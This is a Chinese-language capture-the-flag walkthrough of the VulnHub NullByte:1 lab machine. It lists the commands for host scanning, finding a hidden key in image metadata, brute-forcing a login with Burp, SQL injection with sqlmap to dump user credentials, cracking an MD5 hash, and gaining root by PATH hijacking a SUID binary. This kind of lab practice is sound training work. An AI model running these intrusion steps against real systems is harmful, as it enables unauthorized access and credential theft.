一、介绍
靶机名称 :NullByte:1
下载地址:https://download.vulnhub.com/nullbyte/NullByte.ova.zip
目标ip:192.168.164.149
攻击者ip:192.168.164.129
二、信息收集
首先扫描靶机ip
sudo arp-scan -l
sudo nmap -sn -v 192.168.164.0/24
//两个命令使用其中一个就可以
扫描到目标主机IP为192.168.164.149,接下来扫描目标IP开启的端口
nmap -p- -sV -Pn -v 192.168.164.149
//-sV是对端口上服务程序版本进行扫描
//-Pn是目标机禁用ping时,绕过ping扫描(跳过主机发现)
//-v显示冗余信息
目标主机开启了80;111;777;44126四个端口,注意到其中ssh端口开在777
接下来对端口进行详细扫描
nmap -sV -Pn -T5 -v -A --script=vuln -p 80,111,777,44126 192.168.164.149
//-A强力扫描,耗时较长
本次信息较多,截取部分图片
尝试在浏览器访问ip
页面上有图像,在页面源上没有找到任何内容。但是图像中可能隐藏东西,因此使用exiftool读取图像
先将图片下载至桌面,使用命令查看
exiftool main.gif
发现Comment处有一串字符kzMb5nVYJw,可能是密码或者目录,尝试访问
访问后需要输入key。不知道密钥,因此用burp暴力破解密码
随便输入一个密码进行抓包
密钥为elite,输入密钥跳转至下个页面,要求输入username,猜测输入框可能存在注入漏洞
将请求包保存至txt中使用工具sqlmap进行扫描
sqlmap -r 1.txt -batch
扫描后发现存在sql注入漏洞
直接使用工具爆出数据
sqlmap -r 1.txt -D seth -T users --dump
得到ramses/YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE看起来是被编码的信息,进行解码
echo YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE= | base64 --d
c6d6bd7ebf806f43c76acc3681703b81
//32位md5
将需要md5解密的数据存在桌面hash.txt中,直接使用kali工具解密
john --format=raw-md5 hash.txt
三、GetShell
从之前的sqlmap扫描得到用户名为ramses,此时的omega为密码尝试ssh连接
四、提权
查看具有SUID权限的二进制文件
find / -perm -u=s -type f 2>/dev/null
发现/var/www/backup/procwatch的SUID位已启用
执行procwatch 的时候,和执行ps 一样的效果
我们执行ps 调用的是bash 他调用的是sh
如果把sh的内容改了,那么大概率OK的
echo "/bin/sh" > ps
chmod 777 ps
echo $PATH
export PATH=.:$PATH
echo $PATH
./procwatch
提权成功获取到root权限
总结
网页中的图片也有可能存在有用信息
使用的工具
sqlmap工具;exiftool工具;burpsuit;base64解码;md5解密